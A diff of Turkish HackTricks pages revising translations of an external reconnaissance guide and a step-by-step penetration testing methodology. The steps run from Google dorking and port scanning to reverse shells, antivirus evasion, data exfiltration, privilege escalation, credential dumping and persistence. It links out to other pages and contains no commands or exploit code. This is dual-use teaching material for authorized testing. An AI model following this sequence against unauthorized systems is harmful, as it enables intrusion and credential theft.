Eski ama altın google dorks her zaman **orada olmamaları gereken bilgileri bulmak** için kullanışlıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in çalıştıramayacağınız birkaç bin olası sorgu içermesidir. Bu yüzden favori 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç kullanabilirsiniz.** Eski ama altın google dorks her zaman **orada olmamaları gereken bilgileri bulmak** için kullanışlıdır. Tek sorun, [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)'in çalıştıramayacağınız birkaç bin olası sorgu içermesidir. Bu yüzden favori 10 tanesini alabilir veya hepsini çalıştırmak için [**Gorks**](https://github.com/carlospolop/Gorks) gibi bir **araç kullanabilirsiniz**.
_Unutmayın, düzenli Google tarayıcısını kullanarak tüm veritabanını çalıştırmayı bekleyen araçlar çok uzun sürecek ve Google sizi çok kısa sürede engelleyecektir._ _Not: Google tarayıcısını kullanarak tüm veritabanını çalıştırmayı bekleyen araçlar çok kısa sürede engellenecektir._
### **Zafiyetler Aranıyor** ### **Savunmasızlıkları Arama**
Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulursanız, bu çok kolay bir kazanç olacaktır. Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulursanız, bu çok kolay bir kazanç olacaktır.
## Genel Kod Zafiyetleri ## Genel Kod Güvenlik Açıkları
Şirketin **açık kaynak koduna** sahip olduğunu tespit ettiyseniz, bunu **analiz edebilir** ve üzerinde **zafiyetler** arayabilirsiniz. Şirketin **açık kaynak kodu** olduğunu tespit ettiyseniz, onu **analiz edebilir** ve üzerinde **güvenlik açıkları** arayabilirsiniz.
**Dile bağlı olarak** farklı **araçlar** kullanabilirsiniz: **Dile bağlı olarak** farklı **araçlar** kullanabilirsiniz:
@ -595,34 +595,34 @@ Eğer **geçerli sızdırılmış** kimlik bilgileri veya API belirteçleri bulu
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md) [code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
Ayrıca, şunlar gibi ücretsiz hizmetlerle **genel depoları tarayabilirsiniz**: Ayrıca, şunun gibi ücretsiz hizmetlerle **genel depoları tarayabilirsiniz**:
* [**Snyk**](https://app.snyk.io/) * [**Snyk**](https://app.snyk.io/)
## [**Web Uygulama Test Metodolojisi**](../../network-services-pentesting/pentesting-web/) ## [**Web Sızma Testi Metodolojisi**](../../network-services-pentesting/pentesting-web/)
**Çoğu zayıflık**, avcılar tarafından bulunan yerlerde **web uygulamalarında** bulunur, bu nedenle bu noktada bir **web uygulama test metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/). **Hata avcıları** tarafından bulunan **çoğu zayıflık**, **web uygulamalarının** içinde bulunur, bu noktada **bir web uygulaması testi metodolojisi** hakkında konuşmak istiyorum ve [**bu bilgiyi burada bulabilirsiniz**](../../network-services-pentesting/pentesting-web/).
Ayrıca, [**Web Otomatik Tarama ık Kaynaklı Araçlar**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir vurgu yapmak istiyorum, çünkü çok hassas zayıflıkları bulmalarını beklememelisiniz, ancak **bazı başlangıç web bilgilerini elde etmek için iş akışlarına uygulamak için faydalıdırlar.** Ayrıca, [**Web Otomatik Tarama ık kaynaklı araçları**](../../network-services-pentesting/pentesting-web/#automatic-scanners) bölümüne özel bir vurgu yapmak istiyorum, çünkü çok hassas zayıflıkları bulmalarını beklememelisiniz, ancak **bazı başlangıç web bilgilerini elde etmek için iş akışlarına uygulamak için faydalıdırlar.**
## Özet ## Özet
> Tebrikler! Bu noktada zaten **tüm temel numaralandırmayı** gerçekleştirdiniz. Evet, temel çünkü daha fazla numaralandırma yapılabilir (daha sonra daha fazla hile göreceğiz). > Tebrikler! Bu noktada **tüm temel numaralandırmayı** zaten gerçekleştirdiniz. Evet, temel çünkü daha fazla numaralandırma yapılabilir (daha sonra daha fazla hile göreceğiz).
Şimdiye kadar şunları yaptınız: Şimdiye kadar şunları yaptınız:
1. Kapsam içindeki **tüm şirketleri** buldunuz 1. Kapsam içindeki **tüm şirketleri** buldunuz
2. Şirketlere ait **tüm varlıkları** buldunuz (ve kapsam içindeyse bazı zayıflık taraması yaptınız) 2. Şirketlere ait **tüm varlıkları** buldunuz (ve kapsam içindeyse bazı zayıflık taraması yaptınız)
3. Şirketlere ait **tüm alan adlarını** buldunuz 3. Şirketlere ait **tüm alan adlarını** buldunuz
4. Alan adlarının tüm **alt alan adlarını** buldunuz (herhangi bir alt alan adı ele geçirme?) 4. Alan adlarının **tüm alt alanlarını** buldunuz (herhangi bir alt alan ele geçirme?)
5. Kapsam içindeki **CDN'lerden ve olmayan IP'leri** buldunuz. 5. Kapsam içindeki **CDN'lerden ve olmayan IP'leri** buldunuz.
6. Tüm **web sunucularını** buldunuz ve onların **ekran görüntüsünü** aldınız (derinlemesine bakmaya değer garip bir şey var mı?) 6. **Web sunucularını** buldunuz ve onların **ekran görüntüsünü** aldınız (derinlemesine bakmaya değer garip bir şey var mı?)
7. Şirkete ait **potansiyel halka açık bulut varlıklarını** buldunuz. 7. Şirkete ait **potansiyel halka açık bulut varlıklarını** buldunuz.
8. Size **kolayca büyük bir kazanç sağlayabilecek** **e-postaları**, **kimlik bilgileri sızıntılarını** ve **gizli sızıntıları** buldunuz. 8. Size **kolayca büyük bir kazanç sağlayabilecek** **e-postaları**, **kimlik bilgileri sızıntılarını** ve **gizli sızıntıları** buldunuz.
9. Bulduğunuz tüm web sitelerini **pentest ettiniz** 9. Bulduğunuz tüm web sitelerini **sızdırdınız**
## **Tam Kapsamlı Otomatik Araçlar** ## **Tam Kapsamlı Otomatik Araçlar**
Verilen bir kapsam için önerilen eylemlerin bir kısmını gerçekleştirecek birçok araç bulunmaktadır. Belirli bir kapsam karşısında önerilen eylemlerin bir kısmını gerçekleştirecek birçok araç bulunmaktadır.
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine) * [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus) * [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
@ -633,7 +633,7 @@ Verilen bir kapsam için önerilen eylemlerin bir kısmını gerçekleştirecek
* [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) * [**@Jhaddix**](https://twitter.com/Jhaddix) tarafından sunulan tüm ücretsiz kurslar, örneğin [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -641,14 +641,14 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
<details> <details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destekleyin. * **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek destek olun.
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini edinin**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details> </details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşulan gereklidir_). Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve konuşma gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -32,7 +32,7 @@ Saldırmak istediğiniz makineye **fiziksel erişiminiz** var mı? [**Fiziksel s
### 1 - [Ağdaki ana bilgisayarları keşfetme](pentesting-network/#discovering-hosts)/ [Şirketin Varlıklarını Keşfetme](external-recon-methodology/) ### 1 - [Ağdaki ana bilgisayarları keşfetme](pentesting-network/#discovering-hosts)/ [Şirketin Varlıklarını Keşfetme](external-recon-methodology/)
**Yapacağınız testin** **içsel veya dışsal bir test olup olmadığına bağlı olarak**, **şirket ağındaki ana bilgisayarları** (içsel test) veya **şirketin internet üzerindeki varlıklarını** (dışsal test) bulmak isteyebilirsiniz. **Yaptığınız testin** **içsel veya dışsal bir test** olmasına bağlı olarak, **şirket ağındaki ana bilgisayarları** (içsel test) veya **şirketin internet üzerindeki varlıklarını** (dışsal test) bulmak isteyebilirsiniz.
{% hint style="info" %} {% hint style="info" %}
Dışsal bir test gerçekleştiriyorsanız, şirketin iç ağına erişmeyi başardığınızda bu kılavuzu yeniden başlatmanız gerekebilir. Dışsal bir test gerçekleştiriyorsanız, şirketin iç ağına erişmeyi başardığınızda bu kılavuzu yeniden başlatmanız gerekebilir.
@ -41,11 +41,11 @@ Dışsal bir test gerçekleştiriyorsanız, şirketin iç ağına erişmeyi baş
### **2-** [**Ağla Eğlenmek**](pentesting-network/) **(İçsel)** ### **2-** [**Ağla Eğlenmek**](pentesting-network/) **(İçsel)**
**Bu bölüm yalnızca içsel bir test gerçekleştiriyorsanız geçerlidir.**\ **Bu bölüm yalnızca içsel bir test gerçekleştiriyorsanız geçerlidir.**\
Bir ana bilgisayara saldırmadan önce belki de **ağdan bazı kimlik bilgileri çalmayı** veya ağ içinde ne bulabileceğinizi **pasif/aktif (MitM)** öğrenmek için bazı **verileri** **sızdırmayı** tercih edersiniz. [**Pentesting Network**](pentesting-network/#sniffing)'ü okuyabilirsiniz. Bir ana bilgisayara saldırmadan önce belki de **ağdan bazı kimlik bilgileri çalmayı** veya ağ içinde ne bulabileceğinizi **pasif/aktif (MitM)** öğrenmek için bazı **verileri** **sızdırmayı** tercih edersiniz. [**ın Pentest Edilmesi**](pentesting-network/#sniffing) bölümünü okuyabilirsiniz.
### 3- [Port Taraması - Servis keşfi](pentesting-network/#scanning-hosts) ### 3- [Port Taraması - Servis keşfi](pentesting-network/#scanning-hosts)
Bir **ana bilgisayardaki zafiyetleri ararken ilk yapmanız gereken şey**, hangi **servislerin hangi portlarda çalıştığını bilmektir.** [**Ana bilgisayarların portlarını taramak için temel araçlara bakalım**](pentesting-network/#scanning-hosts). Bir **ana bilgisayardaki zafiyetleri ararken** yapılması gereken ilk şey, hangi **servislerin hangi portlarda çalıştığını bilmektir.** [**Ana bilgisayarların portlarını taramak için temel araçlara bakalım**](pentesting-network/#scanning-hosts).
### **4-** [Servis sürümü açıklarını arama](search-exploits.md) ### **4-** [Servis sürümü açıklarını arama](search-exploits.md)
@ -53,22 +53,22 @@ Bir **ana bilgisayardaki zafiyetleri ararken ilk yapmanız gereken şey**, hangi
### **5-** Servislerin Pentest Edilmesi ### **5-** Servislerin Pentest Edilmesi
Çalışan herhangi bir servis için şık bir açık yoksa, **her serviste yaygın yapılandırmaları aramalısınız.** Çalışan herhangi bir servis için şık bir açık yoksa, her çalışan serviste **ortak yapılandırmaları aramalısınız.**
**Bu kitap içinde en yaygın servisleri pentest etme kılavuzunu bulacaksınız** (ve diğer yaygın olmayanları)**. Lütfen sol indekste** _**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır). **Bu kitap içinde en yaygın servisleri pentest etme kılavuzunu bulacaksınız** (ve diğer yaygın olmayanları)**. Lütfen, sol indekste** _**PENTESTING**_ **bölümünü arayın** (servisler varsayılan portlarına göre sıralanmıştır).
**Özellikle [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **bölümüne özel bir vurgu yapmak istiyorum (çünkü en kapsamlı olanıdır).**\ **Özellikle [**Pentesting Web**](../network-services-pentesting/pentesting-web/) bölümüne** dikkat çekmek istiyorum (çünkü en kapsamlı olanıdır).**\
Ayrıca, [**yazılımlardaki bilinen zafiyetleri nasıl bulacağınıza dair küçük bir kılavuz burada bulunabilir**](search-exploits.md). Ayrıca, [**yazılımlardaki bilinen zafiyetleri nasıl bulacağınıza dair küçük bir kılavuz burada bulunabilir.**](search-exploits.md)
**Servisiniz indekste yoksa, Google'da arayın** başka rehberler ve **eklememi isterseniz bana bildirin.** Google'da **hiçbir şey bulamazsanız**, kendi **kör pentestinizi** gerçekleştirin, servise **bağlanmaya başlayarak, onu fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa). **Servisiniz indekste yoksa, Google'da arayın** diğer öğreticiler için ve **eklememi isterseniz bana bildirin.** Google'da **hiçbir şey bulamazsanız**, kendi **kör pentestinizi** gerçekleştirin, servise **bağlanmaya başlayarak, onu fuzzing yaparak ve yanıtları okuyarak** başlayabilirsiniz (varsa).
#### 5.1 Otomatik Araçlar #### 5.1 Otomatik Araçlar
**Otomatik zafiyet değerlendirmeleri** gerçekleştirebilecek birkaç araç da bulunmaktadır. **Size** [**Legion**](https://github.com/carlospolop/legion)**'ı denemenizi tavsiye ederim**, bu araç, bu kitapta bulabileceğiniz servisler hakkındaki notlara dayanmaktadır. **Otomatik zafiyet değerlendirmeleri** gerçekleştirebilen birkaç araç da bulunmaktadır. **Size** [**Legion**](https://github.com/carlospolop/legion)**'ı denemenizi tavsiye ederim**, bu araç, bu kitapta bulabileceğiniz servislerin pentest notlarına dayanmaktadır.
#### **5.2 Servislerin Kaba Kuvvet Saldırısı** #### **5.2 Servislerin Kaba Kuvvet Saldırısı**
Bazı senaryolarda bir **Kaba Kuvvet Saldırısı**, bir **servisi ele geçirmek** için **yararlı olabilir**. [**Farklı servislerin kaba kuvvet saldırısı hakkında bir Hile Sayfası bulun**](brute-force.md)**.** Bazı senaryolarda bir **Kaba Kuvvet Saldırısı**, bir **servisi ele geçirmek** için yararlı olabilir. [**Farklı servislerin kaba kuvvet saldırısına yönelik bir Hile Sayfasını burada bulabilirsiniz**](brute-force.md)**.**
### 6- [Phishing](phishing-methodology/) ### 6- [Phishing](phishing-methodology/)
@ -76,13 +76,13 @@ Bu noktada ilginç bir zafiyet bulamadıysanız, ağa girmek için bazı **phish
### **7-** [**Shell Almak**](shells/) ### **7-** [**Shell Almak**](shells/)
Herhangi bir şekilde kurbanın içinde **kod çalıştırmak için bir yol bulmuş olmalısınız.** Ardından, **ters shell almak için kullanabileceğiniz olası araçların bir listesi çok faydalı olacaktır** (shells/). Herhangi bir şekilde kurbanın içinde kod **yürütebileceğiniz bir yol bulmuş olmalısınız.** Ardından, bir ters shell almak için kullanabileceğiniz **sistem içindeki olası araçların listesi çok faydalı olacaktır** (shells/).
Özellikle Windows'ta **antivirüsleri atlatmaya yardıma ihtiyacınız olabilir**: [**Bu sayfaya göz atın**](../windows-hardening/av-bypass.md)**.**\\ Özellikle Windows'ta **antivirüsleri atlatmaya yardıma ihtiyacınız olabilir**: [**Bu sayfaya göz atın**](../windows-hardening/av-bypass.md)**.**\\
### 8- İçeride ### 8- İçeride
Shell ile sorun yaşıyorsanız, pentesterlar için en kullanışlı komutların küçük bir **derlemesini burada bulabilirsiniz**: Shell ile sorun yaşıyorsanız, pentesterlar için en **faydalı komutların küçük bir derlemesini burada bulabilirsiniz**:
* [**Linux**](../linux-hardening/useful-linux-commands/) * [**Linux**](../linux-hardening/useful-linux-commands/)
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md) * [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
@ -90,37 +90,37 @@ Shell ile sorun yaşıyorsanız, pentesterlar için en kullanışlı komutların
### **9 -** [**Veri Sızdırma**](exfiltration.md) ### **9 -** [**Veri Sızdırma**](exfiltration.md)
Muhtemelen **kurbandan bazı verileri çıkarmak** veya hatta **bir şeyler eklemek** (ayrıcalık yükseltme betikleri gibi). **Bu amaçlarla kullanabileceğiniz yaygın araçlar hakkında bir** [**gönderi burada bulunabilir**](exfiltration.md)**.** Kurbanın içinden **bazı verileri çıkarmak** veya hatta **bir şeyler eklemek** (ayrıcalık yükseltme betikleri gibi). **Bu amaçlarla kullanabileceğiniz yaygın araçlar hakkında bir** [**gönderi burada bulunabilir**](exfiltration.md)**.**
### **10- Ayrıcalık Yükseltme** ### **10- Yetki Yükseltme**
#### **10.1- Yerel Ayrıcalık Yükseltme** #### **10.1- Yerel Yetki Yükseltme**
Eğer kutunun içinde **root/Yönetici değilseniz**, ayrıcalıkları **yükseltmek için bir yol bulmalısınız.**\ Eğer kutunun içinde **root/Administrator değilseniz**, **yetkileri yükseltmek için bir yol bulmalısınız.**\
Burada, [**Linux**](../linux-hardening/privilege-escalation/) **ve** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **içinde yerel olarak ayrıcalıkları yükseltmek için bir rehber bulabilirsiniz.**\ Burada [**Linux**](../linux-hardening/privilege-escalation/) **ve** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **içinde yerel olarak yetkileri yükseltmek için bir rehber bulabilirsiniz.**\
Ayrıca, **Windows'un nasıl çalıştığı** hakkında bu sayfaları kontrol etmelisiniz: Ayrıca **Windows'un nasıl çalıştığı** hakkında bu sayfaları kontrol etmelisiniz:
- [**Kimlik Doğrulama, Kimlik Bilgileri, Token ayrıcalıkları ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md) * [**Kimlik Doğrulama, Kimlik Bilgileri, Token yetkileri ve UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
- [**NTLM'nin nasıl çalıştığı**](../windows-hardening/ntlm/) * [**NTLM'nin nasıl çalıştığı**](../windows-hardening/ntlm/)
- Windows'ta [**kimlik bilgilerini çalma**](broken-reference/) * Windows'ta nasıl [**kimlik bilgileri çalınır**](broken-reference/)
- [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları * [_**Active Directory**_](../windows-hardening/active-directory-methodology/) hakkında bazı ipuçları
**Windows ve Linux yerel Ayrıcalık Yükseltme yollarını sıralamak için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) **Windows ve Linux yerel Yetki Yükseltme yollarını sıralamak için en iyi araçları kontrol etmeyi unutmayın:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Alan Ayrıcalığı Yükseltme** #### **10.2- Alan Yetki Yükseltme**
Burada, [**Bir Active Directory'de ayrıcalıkları sıralamak, yükseltmek ve kalıcı olmak için en yaygın eylemleri açıklayan bir metodoloji bulabilirsiniz**](../windows-hardening/active-directory-methodology/). Bu, yalnızca bir bölümün alt bölümü olsa da, bu süreç bir Pentesting/Red Team görevinde **son derece hassas** olabilir. Burada [**Bir Active Directory'de numaralandırmak, yetkileri yükseltmek ve kalıcı olmak için en yaygın eylemleri açıklayan bir metodoloji bulabilirsiniz.**](../windows-hardening/active-directory-methodology/) Bu, yalnızca bir bölümün alt bölümü olsa da, bu süreç bir Pentesting/Red Team görevinde **son derece hassas** olabilir.
### 11 - POST ### 11 - POST
#### **11.1 - Yağmalama** #### **11.1 - Yağmalama**
Makinenin içinde daha fazla **şifre** bulup bulamayacağınızı kontrol edin veya **kullanıcı**nızın **yetkileriyle diğer makinelerde erişiminiz olup olmadığını** kontrol edin.\ Makinenin içinde daha fazla **şifre** bulabilir misiniz veya **kullanıcı**nızın **yetkileriyle diğer makinelerde erişiminiz var mı** kontrol edin.\
Windows'ta [**şifreleri dökmenin farklı yollarını burada bulabilirsiniz**](broken-reference/). Windows'ta [**şifreleri nasıl döküleceğine**](broken-reference/) dair farklı yolları burada bulabilirsiniz.
#### 11.2 - Kalıcılık #### 11.2 - Kalıcılık
**Sistemi tekrar sömürmek zorunda kalmamak için 2 veya 3 farklı türde kalıcılık mekanizması kullanın.**\ **Sistemi tekrar sömürmek zorunda kalmamak için 2 veya 3 farklı türde kalıcılık mekanizması kullanın.**\
**Burada, Active Directory üzerindeki bazı** [**kalıcılık hilelerini bulabilirsiniz**](../windows-hardening/active-directory-methodology/#persistence)**.** **Burada** [**Active Directory'de kalıcılık hileleri bulabilirsiniz**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Windows ve Linux'ta Kalıcılık Post'unu tamamlayın TODO: Windows ve Linux'ta Kalıcılık Post'unu tamamlayın
@ -128,28 +128,28 @@ TODO: Windows ve Linux'ta Kalıcılık Post'unu tamamlayın
**Toplanan kimlik bilgileriyle** diğer makinelerde erişiminiz olabilir veya belki de kurbanınızın bağlı olduğu yeni ağlarda **yeni ana bilgisayarları keşfetmeniz gerekebilir** (Pentesting Metodolojisine tekrar başlayın).\ **Toplanan kimlik bilgileriyle** diğer makinelerde erişiminiz olabilir veya belki de kurbanınızın bağlı olduğu yeni ağlarda **yeni ana bilgisayarları keşfetmeniz gerekebilir** (Pentesting Metodolojisine tekrar başlayın).\
Bu durumda tünelleme gerekebilir. [**Tünelleme hakkında konuşan bir yazıyı burada bulabilirsiniz**](tunneling-and-port-forwarding.md).\ Bu durumda tünelleme gerekebilir. [**Tünelleme hakkında konuşan bir yazıyı burada bulabilirsiniz**](tunneling-and-port-forwarding.md).\
Kesinlikle [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkındaki yazıyı da kontrol etmelisiniz. Orada yan yana hareket etmek, ayrıcalıkları yükseltmek ve kimlik bilgilerini dökmek için harika hileler bulacaksınız.\ Kesinlikle [Active Directory pentesting Metodolojisi](../windows-hardening/active-directory-methodology/) hakkındaki yazıyı da kontrol etmelisiniz. Orada yan yana hareket etmek, yetkileri yükseltmek ve kimlik bilgileri dökmek için harika hileler bulacaksınız.\
Ayrıca [**NTLM**](../windows-hardening/ntlm/) hakkındaki sayfayı da kontrol edin, Windows ortamlarında dönüş yapmak için çok faydalı olabilir. Ayrıca [**NTLM**](../windows-hardening/ntlm/) hakkındaki sayfayı da kontrol edin, Windows ortamlarında dönüş yapmak için çok faydalı olabilir.
### DAHA FAZLA ### DAHA FAZLA
#### [Android Uygulamaları](../mobile-pentesting/android-app-pentesting/) #### [Android Uygulamaları](../mobile-pentesting/android-app-pentesting/)
#### **Sömürü** #### **Sömürme**
- [**Temel Linux Sömürüsü**](../exploiting/linux-exploiting-basic-esp/) * [**Temel Linux Sömürme**](../exploiting/linux-exploiting-basic-esp/)
- [**Temel Windows Sömürüsü**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md) * [**Temel Windows Sömürme**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
- [**Temel sömürü araçları**](../exploiting/tools/) * [**Temel sömürme araçları**](../exploiting/tools/)
#### [**Temel Python**](python/) #### [**Temel Python**](python/)
#### **Kripto hileleri** #### **Kripto hileleri**
- [**ECB**](../cryptography/electronic-code-book-ecb.md) * [**ECB**](../cryptography/electronic-code-book-ecb.md)
- [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md) * [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
- [**Padding Oracle**](../cryptography/padding-oracle-priv.md) * [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_). Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@ -161,10 +161,10 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklam görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
